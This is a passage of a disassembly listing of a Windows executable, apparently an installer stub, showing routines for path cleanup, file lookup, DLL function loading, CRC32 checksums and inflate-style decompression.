		mov	byte ptr [ebp+arg_4+3],	cl
		jnz	loc_405A49

loc_405BFE:				; CODE XREF: sub_4059FD+56j
		and	byte ptr [edi],	0
		cmp	[ebp+arg_0], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short locret_405C13
		push	eax
		push	[ebp+arg_0]
		call	sub_4059DB

locret_405C13:				; CODE XREF: sub_4059FD+20Bj
		leave
		retn	8
sub_4059FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C17	proc near		; CODE XREF: sub_401439+3A9p
					; sub_4026FA+48p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	byte ptr [esi],	5Ch
		jnz	short loc_405C38
		cmp	byte ptr [esi+1], 5Ch
		jnz	short loc_405C38
		cmp	byte ptr [esi+2], 3Fh
		jnz	short loc_405C38
		cmp	byte ptr [esi+3], 5Ch
		jnz	short loc_405C38
		add	esi, 4

loc_405C38:				; CODE XREF: sub_405C17+Aj
					; sub_405C17+10j ...
		cmp	byte ptr [esi],	0
		jz	short loc_405C49
		push	esi
		call	sub_405554
		test	eax, eax
		jz	short loc_405C49
		inc	esi
		inc	esi

loc_405C49:				; CODE XREF: sub_405C17+24j
					; sub_405C17+2Ej
		mov	al, [esi]
		mov	ebx, esi
		test	al, al
		mov	edi, esi
		jz	short loc_405C8C
		push	ebp
		mov	ebp, ds:dword_407214

loc_405C5A:				; CODE XREF: sub_405C17+72j
		cmp	al, 1Fh
		jbe	short loc_405C80
		push	eax
		push	offset a?	; "*?|<>/\":"
		call	sub_405513
		cmp	byte ptr [eax],	0
		jnz	short loc_405C80
		push	esi
		call	ebp	; CharNextA
		sub	eax, esi
		push	eax
		push	esi
		push	edi
		call	sub_40568C
		push	edi
		call	ebp	; CharNextA
		mov	edi, eax

loc_405C80:				; CODE XREF: sub_405C17+45j
					; sub_405C17+55j
		push	esi
		call	ebp	; CharNextA
		mov	esi, eax
		mov	al, [esi]
		test	al, al
		jnz	short loc_405C5A
		pop	ebp

loc_405C8C:				; CODE XREF: sub_405C17+3Aj
		and	byte ptr [edi],	0

loc_405C8F:				; CODE XREF: sub_405C17+91j
		push	edi
		push	ebx
		call	ds:dword_4071D0	; CharPrevA
		mov	edi, eax
		mov	al, [edi]
		cmp	al, 20h
		jz	short loc_405CA3
		cmp	al, 5Ch
		jnz	short loc_405CAA

loc_405CA3:				; CODE XREF: sub_405C17+86j
		and	byte ptr [edi],	0
		cmp	ebx, edi
		jb	short loc_405C8F

loc_405CAA:				; CODE XREF: sub_405C17+8Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_405C17	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CB0	proc near		; CODE XREF: sub_401439+228p
					; sub_401439+2A7p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ds:dword_407104
		push	edi
		push	8001h
		call	esi	; SetErrorMode
		mov	edi, offset dword_42C8F0
		push	edi
		push	[esp+10h+arg_0]
		call	ds:dword_40713C	; FindFirstFileA
		push	0
		mov	ebx, eax
		call	esi	; SetErrorMode
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405CE6
		push	ebx
		call	ds:dword_407134	; FindClose
		mov	eax, edi
		jmp	short loc_405CE8
; ---------------------------------------------------------------------------

loc_405CE6:				; CODE XREF: sub_405CB0+29j
		xor	eax, eax

loc_405CE8:				; CODE XREF: sub_405CB0+34j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_405CB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CEE	proc near		; CODE XREF: start+31Cp start+329p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		call	ds:dword_407108	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_405D0A
		push	[esp+arg_0]
		call	ds:dword_40710C	; LoadLibraryA
		test	eax, eax
		jz	short locret_405D15

loc_405D0A:				; CODE XREF: sub_405CEE+Cj
		push	[esp+arg_4]
		push	eax
		call	ds:dword_407110	; GetProcAddress

locret_405D15:				; CODE XREF: sub_405CEE+1Aj
		retn	8
sub_405CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D18	proc near		; CODE XREF: sub_401E9C+35p
					; sub_402C37+141p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, ds:dword_4071D8
		jmp	short loc_405D35
; ---------------------------------------------------------------------------

loc_405D2B:				; CODE XREF: sub_405D18+2Bj
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4071D4	; DispatchMessageA

loc_405D35:				; CODE XREF: sub_405D18+11j
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		call	edi	; PeekMessageA
		test	eax, eax
		jnz	short loc_405D2B
		pop	edi
		pop	esi
		leave
		retn	4
sub_405D18	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D4B	proc near		; CODE XREF: sub_402C37+180p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	dword_42CE34, 0
		push	esi
		jnz	short loc_405D82
		xor	ecx, ecx

loc_405D57:				; CODE XREF: sub_405D4B+35j
		push	8
		mov	eax, ecx
		pop	esi

loc_405D5C:				; CODE XREF: sub_405D4B+25j
		mov	edx, eax
		and	dl, 1
		neg	dl
		sbb	edx, edx
		and	edx, 0EDB88320h
		shr	eax, 1
		xor	eax, edx
		dec	esi
		jnz	short loc_405D5C
		mov	dword_42CE30[ecx*4], eax
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_405D57

loc_405D82:				; CODE XREF: sub_405D4B+8j
		mov	edx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		test	edx, edx
		not	eax
		jbe	short loc_405DB3
		mov	ecx, [esp+4+arg_4]
		push	edi

loc_405D95:				; CODE XREF: sub_405D4B+65j
		movzx	edi, byte ptr [ecx]
		mov	esi, eax
		and	esi, 0FFh
		xor	esi, edi
		shr	eax, 8
		mov	esi, dword_42CE30[esi*4]
		xor	eax, esi
		inc	ecx
		dec	edx
		jnz	short loc_405D95
		pop	edi

loc_405DB3:				; CODE XREF: sub_405D4B+43j
		not	eax
		pop	esi
		retn	0Ch
sub_405D4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DB9	proc near		; CODE XREF: sub_402EBD+F6p

var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax]
		lea	esi, [eax+10h]
		mov	eax, [eax+4]
		mov	[ebp+var_38], ecx
		mov	ecx, [esi+9BA8h]
		mov	ebx, [esi+518h]
		mov	[ebp+var_34], eax
		mov	eax, [esi+51Ch]
		mov	[ebp+var_40], eax
		mov	eax, [esi+9BA4h]
		cmp	ecx, eax
		mov	[ebp+var_30], ecx
		jnb	short loc_405DFA
		sub	eax, ecx
		dec	eax
		jmp	short loc_405E02
; ---------------------------------------------------------------------------

loc_405DFA:				; CODE XREF: sub_405DB9+3Aj
		mov	eax, [esi+9BA0h]
		sub	eax, ecx

loc_405E02:				; CODE XREF: sub_405DB9+3Fj
		mov	[ebp+var_2C], eax
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_405E0A:				; CODE XREF: sub_405DB9+A19j
		jmp	ds:off_406808[eax*4]
; ---------------------------------------------------------------------------

loc_405E11:				; CODE XREF: sub_405DB9+7Bj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_405E31:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406828o
		cmp	ebx, 3
		jb	short loc_405E11
		mov	eax, [ebp+var_40]
		sub	ebx, 3
		shr	[ebp+var_40], 3
		and	eax, 7
		mov	ecx, eax
		and	cl, 1
		neg	cl
		sbb	ecx, ecx
		and	ecx, 7
		shr	eax, 1
		add	ecx, 8
		sub	eax, 0
		mov	[esi+514h], ecx
		jz	loc_405F91
		dec	eax
		jz	short loc_405EBC
		dec	eax
		jz	short loc_405EB1
		dec	eax
		jnz	loc_4067CD

loc_405E70:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; sub_405DB9+358j ...
		or	edi, 0FFFFFFFFh
		mov	dword ptr [esi], 11h

loc_405E79:				; CODE XREF: sub_405DB9+A42j
					; sub_405DB9+A4Aj
		mov	eax, [ebp+var_40]
		mov	ecx, [ebp+arg_0]
		mov	[esi+51Ch], eax
		mov	eax, [ebp+var_34]
		mov	[esi+518h], ebx
		mov	[ecx+4], eax

loc_405E91:				; CODE XREF: sub_405DB9+A3Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_38]
		push	eax
		mov	[eax], ecx
		mov	ecx, [ebp+var_30]
		mov	[esi+9BA8h], ecx
		call	sub_406848
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_405EB1:				; CODE XREF: sub_405DB9+AEj
		mov	dword ptr [esi], 0Bh
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_405DB9+ABj
		cmp	byte_42E3B8, 0
		jnz	loc_405F69
		and	[ebp+var_8], 0
		mov	eax, offset dword_42D238

loc_405ED2:				; CODE XREF: sub_405DB9+143j
		cmp	eax, offset dword_42D474
		mov	cl, 8
		jle	short loc_405EEF
		cmp	eax, offset dword_42D638
		jge	short loc_405EE6
		inc	cl
		jmp	short loc_405EEF
; ---------------------------------------------------------------------------

loc_405EE6:				; CODE XREF: sub_405DB9+127j
		cmp	eax, offset dword_42D698
		jge	short loc_405EEF
		mov	cl, 7

loc_405EEF:				; CODE XREF: sub_405DB9+120j
					; sub_405DB9+12Bj ...
		movsx	ecx, cl
		mov	[eax], ecx
		add	eax, 4
		cmp	eax, offset dword_42D6B8
		jl	short loc_405ED2
		lea	eax, [ebp+var_8]
		mov	edi, offset dword_42D238
		push	eax
		push	offset dword_42DB38
		push	offset byte_4093F8
		push	offset dword_42D234
		push	offset dword_407368
		push	offset dword_407328
		push	101h
		push	120h
		push	edi
		call	sub_4068B0
		push	1Eh
		pop	ecx
		push	5
		pop	eax
		rep stosd
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_42DB38
		push	offset byte_4093FC
		push	offset dword_42D230
		push	offset dword_4073E4
		push	offset dword_4073A8
		push	0
		push	1Eh
		push	offset dword_42D238
		call	sub_4068B0
		inc	byte_42E3B8

loc_405F69:				; CODE XREF: sub_405DB9+10Aj
		mov	al, byte_4093F8
		mov	[esi+10h], al
		mov	al, byte_4093FC
		mov	[esi+11h], al
		mov	eax, dword_42D234
		mov	[esi+14h], eax
		mov	eax, dword_42D230
		mov	[esi+18h], eax

loc_405F89:				; CODE XREF: sub_405DB9+83Aj
					; sub_405DB9+909j ...
		and	dword ptr [esi], 0
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_405F91:				; CODE XREF: sub_405DB9+A4j
		mov	ecx, ebx
		mov	dword ptr [esi], 9
		and	ecx, 7
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_405FA6:				; CODE XREF: sub_405DB9+210j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_405FC6:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:0040682Co
		cmp	ebx, 10h
		jb	short loc_405FA6
		mov	eax, [ebp+var_40]
		xor	ebx, ebx
		and	eax, 0FFFFh
		mov	[ebp+var_40], ebx
		cmp	eax, ebx
		mov	[esi+4], eax
		jz	loc_4060CC
		push	0Ah
		pop	eax
		jmp	loc_4060D2
; ---------------------------------------------------------------------------

loc_405FEB:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406830o
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_2C]
		test	eax, eax
		jnz	loc_406098
		mov	ecx, [esi+9BA0h]

loc_406006:				; DATA XREF: .data:0040E598o
					; .data:0041A5F0o
		mov	edx, [ebp+var_30]
		cmp	edx, ecx
		jnz	short loc_406036
		mov	eax, [esi+9BA4h]
		lea	edi, [esi+1BA0h]
		cmp	eax, edi

loc_40601B:				; DATA XREF: .data:0040E7E0o
					; .data:0041A838o
		jz	short loc_406036
		mov	edx, edi
		cmp	edx, eax
		mov	[ebp+var_30], edx
		jnb	short loc_40602B
		sub	eax, edx
		dec	eax
		jmp	short loc_40602F
; ---------------------------------------------------------------------------

loc_40602B:				; CODE XREF: sub_405DB9+26Bj
					; DATA XREF: .data:0040E7D0o ...
		sub	ecx, edx
		mov	eax, ecx

loc_40602F:				; CODE XREF: sub_405DB9+270j
		test	eax, eax
		mov	[ebp+var_2C], eax
		jnz	short loc_406098

loc_406036:				; CODE XREF: sub_405DB9+252j
					; sub_405DB9:loc_40601Bj
		push	[ebp+arg_0]
		mov	[esi+9BA8h], edx
		call	sub_406848
		mov	edx, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	edx, ecx
		mov	[ebp+var_30], edx
		jnb	short loc_40605E
		mov	eax, ecx
		sub	eax, edx
		dec	eax
		jmp	short loc_406066
; ---------------------------------------------------------------------------

loc_40605E:				; CODE XREF: sub_405DB9+29Cj
		mov	eax, [esi+9BA0h]
		sub	eax, edx

loc_406066:				; CODE XREF: sub_405DB9+2A3j
		mov	edi, [esi+9BA0h]
		mov	[ebp+var_2C], eax
		cmp	edx, edi
		jnz	short loc_406090
		lea	edx, [esi+1BA0h]
		cmp	edx, ecx
		jz	short loc_406090
		mov	[ebp+var_30], edx
		jnb	short loc_406089
		sub	ecx, edx
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40608D
; ---------------------------------------------------------------------------

loc_406089:				; CODE XREF: sub_405DB9+2C7j
		sub	edi, edx
		mov	eax, edi

loc_40608D:				; CODE XREF: sub_405DB9+2CEj
		mov	[ebp+var_2C], eax

loc_406090:				; CODE XREF: sub_405DB9+2B8j
					; sub_405DB9+2C2j
		test	eax, eax
		jz	loc_4067F9

loc_406098:				; CODE XREF: sub_405DB9+241j
					; sub_405DB9+27Bj
		cmp	eax, [ebp+var_34]
		jb	short loc_4060A0
		mov	eax, [ebp+var_34]

loc_4060A0:				; CODE XREF: sub_405DB9+2E2j
		mov	ecx, [esi+4]
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4060AB
		mov	edi, eax

loc_4060AB:				; CODE XREF: sub_405DB9+2EEj
		push	edi
		push	[ebp+var_38]
		push	[ebp+var_30]
		call	sub_40568C
		add	[ebp+var_38], edi
		sub	[ebp+var_34], edi
		add	[ebp+var_30], edi
		sub	[ebp+var_2C], edi
		sub	[esi+4], edi
		jnz	loc_4067CD

loc_4060CC:				; CODE XREF: sub_405DB9+224j
		mov	eax, [esi+514h]

loc_4060D2:				; CODE XREF: sub_405DB9+22Dj
		mov	[esi], eax
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_4060D9:				; CODE XREF: sub_405DB9+343j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_4060F9:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406834o
		cmp	ebx, 0Eh
		jb	short loc_4060D9
		mov	eax, [ebp+var_40]
		and	eax, 3FFFh
		mov	ecx, eax
		mov	[esi+4], eax
		and	ecx, 1Fh
		cmp	cl, 1Dh
		ja	loc_405E70
		and	eax, 3E0h
		cmp	eax, 3A0h
		ja	loc_405E70
		shr	[ebp+var_40], 0Eh
		sub	ebx, 0Eh
		and	dword ptr [esi+8], 0
		mov	dword ptr [esi], 0Ch

loc_406138:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406838o
		mov	eax, [esi+4]
		shr	eax, 0Ah
		add	eax, 4
		cmp	[esi+8], eax
		jnb	short loc_4061AF
		jmp	short loc_406168
; ---------------------------------------------------------------------------

loc_406148:				; CODE XREF: sub_405DB9+3B2j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_406168:				; CODE XREF: sub_405DB9+38Dj
					; sub_405DB9+3E0j
		cmp	ebx, 3
		jb	short loc_406148
		mov	ecx, [esi+8]
		mov	eax, [ebp+var_40]
		and	eax, 7
		sub	ebx, 3
		movsx	ecx, ds:byte_407314[ecx]
		shr	[ebp+var_40], 3
		mov	[esi+ecx*4+0Ch], eax
		mov	ecx, [esi+4]
		inc	dword ptr [esi+8]
		mov	eax, [esi+8]
		shr	ecx, 0Ah
		add	ecx, 4
		cmp	eax, ecx
		jb	short loc_406168
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_405DB9+3FAj
		mov	eax, [esi+8]
		movsx	eax, ds:byte_407314[eax]
		and	dword ptr [esi+eax*4+0Ch], 0
		inc	dword ptr [esi+8]

loc_4061AF:				; CODE XREF: sub_405DB9+38Bj
					; sub_405DB9+3E2j
		cmp	dword ptr [esi+8], 13h
		jb	short loc_40619D
		lea	ecx, [ebp+var_8]
		lea	edi, [esi+50Ch]
		push	ecx
		lea	ecx, [esi+520h]
		push	ecx
		lea	ecx, [esi+510h]
		xor	eax, eax
		push	edi
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		push	eax
		push	13h
		lea	eax, [esi+0Ch]
		push	13h
		push	eax
		mov	dword ptr [edi], 7
		call	sub_4068B0
		test	eax, eax
		jnz	short loc_4061FE
		cmp	[edi], eax
		jz	short loc_4061FE
		and	[esi+8], eax
		mov	dword ptr [esi], 0Dh
		jmp	loc_40631B
; ---------------------------------------------------------------------------

loc_4061FE:				; CODE XREF: sub_405DB9+431j
					; sub_405DB9+435j
		mov	dword ptr [esi], 11h
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_406209:				; CODE XREF: sub_405DB9+57Cj
		mov	eax, [esi+50Ch]
		jmp	short loc_406231
; ---------------------------------------------------------------------------

loc_406211:				; CODE XREF: sub_405DB9+47Aj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_406231:				; CODE XREF: sub_405DB9+456j
		cmp	ebx, eax
		jb	short loc_406211
		movzx	eax, word_4093D4[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+510h]
		lea	eax, [ecx+eax*4]
		movzx	edx, byte ptr [eax+1]
		movzx	eax, word ptr [eax+2]
		cmp	eax, 10h
		mov	[ebp+var_14], eax
		jnb	short loc_40626F
		mov	ecx, edx
		sub	ebx, edx
		shr	[ebp+var_40], cl
		mov	ecx, [esi+8]
		mov	[esi+ecx*4+0Ch], eax
		inc	dword ptr [esi+8]
		jmp	loc_40631B
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_405DB9+49Ej
		cmp	eax, 12h
		jnz	short loc_406280
		push	7
		mov	[ebp+var_8], 0Bh
		pop	eax
		jmp	short loc_4062AC
; ---------------------------------------------------------------------------

loc_406280:				; CODE XREF: sub_405DB9+4B9j
		add	eax, 0FFFFFFF2h
		mov	[ebp+var_8], 3
		jmp	short loc_4062AC
; ---------------------------------------------------------------------------

loc_40628C:				; CODE XREF: sub_405DB9+4F8j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edi, byte ptr [ecx]
		mov	ecx, ebx
		shl	edi, cl
		or	[ebp+var_40], edi
		inc	[ebp+var_38]
		add	ebx, 8

loc_4062AC:				; CODE XREF: sub_405DB9+4C5j
					; sub_405DB9+4D1j
		lea	ecx, [eax+edx]
		cmp	ebx, ecx
		jb	short loc_40628C
		mov	ecx, edx
		sub	ebx, edx
		shr	[ebp+var_40], cl
		movzx	ecx, word_4093D4[eax*2]
		and	ecx, [ebp+var_40]
		mov	edx, [ebp+var_8]
		sub	ebx, eax
		add	edx, ecx
		mov	ecx, eax

loc_4062CE:				; DATA XREF: .data:0040E948o
					; .data:0041A9A0o
		mov	eax, [esi+4]
		shr	[ebp+var_40], cl
		mov	ecx, [esi+8]

loc_4062D7:				; DATA XREF: .data:0040FA30o
					; .data:0041BA88o
		mov	edi, eax
		shr	edi, 5

loc_4062DC:				; DATA XREF: .data:0040FA3Co
					; .data:0041BA94o
		and	edi, 1Fh
		and	eax, 1Fh
		lea	eax, [edi+eax+102h]
		lea	edi, [edx+ecx]
		cmp	edi, eax
		ja	loc_405E70
		cmp	[ebp+var_14], 10h
		jnz	short loc_406309
		cmp	ecx, 1
		jb	loc_405E70
		mov	edi, [esi+ecx*4+8]
		jmp	short loc_40630B
; ---------------------------------------------------------------------------

loc_406309:				; CODE XREF: sub_405DB9+53Fj
		xor	edi, edi

loc_40630B:				; CODE XREF: sub_405DB9+54Ej
		lea	eax, [esi+ecx*4+0Ch]

loc_40630F:				; CODE XREF: sub_405DB9+55Dj
		mov	[eax], edi
		inc	ecx
		add	eax, 4
		dec	edx
		jnz	short loc_40630F
		mov	[esi+8], ecx

loc_40631B:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; sub_405DB9+440j ...
		mov	eax, [esi+4]
		mov	ecx, [esi+8]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		cmp	ecx, eax
		jb	loc_406209
		mov	eax, [esi+4]
		and	dword ptr [esi+510h], 0
		and	[ebp+var_C], 0
		mov	edi, eax
		shr	eax, 5
		and	edi, 1Fh
		mov	ecx, 101h
		and	eax, 1Fh
		add	edi, ecx
		inc	eax
		lea	edx, [ebp+var_C]
		mov	[ebp+var_14], eax
		lea	eax, [esi+520h]
		push	edx
		push	eax
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 9
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_407368
		push	offset dword_407328
		push	ecx
		lea	eax, [esi+0Ch]
		push	edi
		push	eax
		mov	[ebp+var_10], 6
		call	sub_4068B0
		cmp	[ebp+var_4], 0
		jnz	short loc_40639E
		or	eax, 0FFFFFFFFh

loc_40639E:				; CODE XREF: sub_405DB9+5E0j
		test	eax, eax
		jnz	loc_405E70
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [esi+520h]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_4073E4
		push	offset dword_4073A8
		push	0
		push	[ebp+var_14]
		lea	eax, [esi+edi*4+0Ch]
		push	eax
		call	sub_4068B0
		test	eax, eax
		jnz	loc_405E70
		mov	eax, [ebp+var_10]
		test	eax, eax
		jnz	short loc_4063ED
		cmp	edi, 101h
		jg	loc_405E70

loc_4063ED:				; CODE XREF: sub_405DB9+626j
		mov	cl, byte ptr [ebp+var_4]
		and	dword ptr [esi], 0
		mov	[esi+11h], al
		mov	eax, [ebp+var_18]
		mov	[esi+14h], eax
		mov	eax, [ebp+var_1C]
		mov	[esi+10h], cl
		mov	[esi+18h], eax

loc_406405:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:off_406808o
		movzx	eax, byte ptr [esi+10h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+14h]
		mov	[esi+8], eax
		mov	dword ptr [esi], 1

loc_406418:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:0040680Co
		mov	eax, [esi+0Ch]
		jmp	short loc_40643D
; ---------------------------------------------------------------------------

loc_40641D:				; CODE XREF: sub_405DB9+686j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_40643D:				; CODE XREF: sub_405DB9+662j
		cmp	ebx, eax
		jb	short loc_40641D
		movzx	eax, word_4093D4[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*4]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		movzx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_406474
		movzx	eax, word ptr [eax+2]
		mov	[esi+8], eax
		mov	dword ptr [esi], 6
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_406474:				; CODE XREF: sub_405DB9+6A7j
		test	cl, 10h
		jz	short loc_406491
		and	ecx, 0Fh
		mov	[esi+8], ecx
		movzx	eax, word ptr [eax+2]
		mov	[esi+4], eax
		mov	dword ptr [esi], 2
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_406491:				; CODE XREF: sub_405DB9+6BEj
		test	cl, 40h
		jz	loc_40656B
		test	cl, 20h
		jz	loc_405E70
		mov	dword ptr [esi], 7
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_4064AE:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406810o
		mov	eax, [esi+8]
		jmp	short loc_4064D3
; ---------------------------------------------------------------------------

loc_4064B3:				; CODE XREF: sub_405DB9+71Cj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_4064D3:				; CODE XREF: sub_405DB9+6F8j
		cmp	ebx, eax
		jb	short loc_4064B3
		movzx	ecx, word_4093D4[eax*2]
		and	ecx, [ebp+var_40]
		add	[esi+4], ecx
		mov	ecx, eax
		shr	[ebp+var_40], cl
		sub	ebx, eax
		movzx	eax, byte ptr [esi+11h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+18h]
		mov	[esi+8], eax
		mov	dword ptr [esi], 3

loc_4064FF:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406814o
		mov	eax, [esi+0Ch]
		jmp	short loc_406524
; ---------------------------------------------------------------------------

loc_406504:				; CODE XREF: sub_405DB9+76Dj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_406524:				; CODE XREF: sub_405DB9+749j
		cmp	ebx, eax
		jb	short loc_406504
		movzx	eax, word_4093D4[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*4]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		movzx	ecx, byte ptr [eax]
		test	cl, 10h
		jz	short loc_406562
		and	ecx, 0Fh
		mov	[esi+8], ecx
		movzx	eax, word ptr [eax+2]
		mov	[esi+0Ch], eax
		mov	dword ptr [esi], 4
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_406562:				; CODE XREF: sub_405DB9+78Fj
		test	cl, 40h
		jnz	loc_405E70

loc_40656B:				; CODE XREF: sub_405DB9+6DBj
		mov	[esi+0Ch], ecx
		movzx	ecx, word ptr [eax+2]
		lea	eax, [eax+ecx*4]
		mov	[esi+8], eax
		jmp	loc_4067CD
; ---------------------------------------------------------------------------

loc_40657D:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406818o
		mov	eax, [esi+8]
		jmp	short loc_4065A2
; ---------------------------------------------------------------------------

loc_406582:				; CODE XREF: sub_405DB9+7EBj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_4065A2:				; CODE XREF: sub_405DB9+7C7j
		cmp	ebx, eax
		jb	short loc_406582
		movzx	ecx, word_4093D4[eax*2]
		and	ecx, [ebp+var_40]
		add	[esi+0Ch], ecx
		mov	ecx, eax
		shr	[ebp+var_40], cl
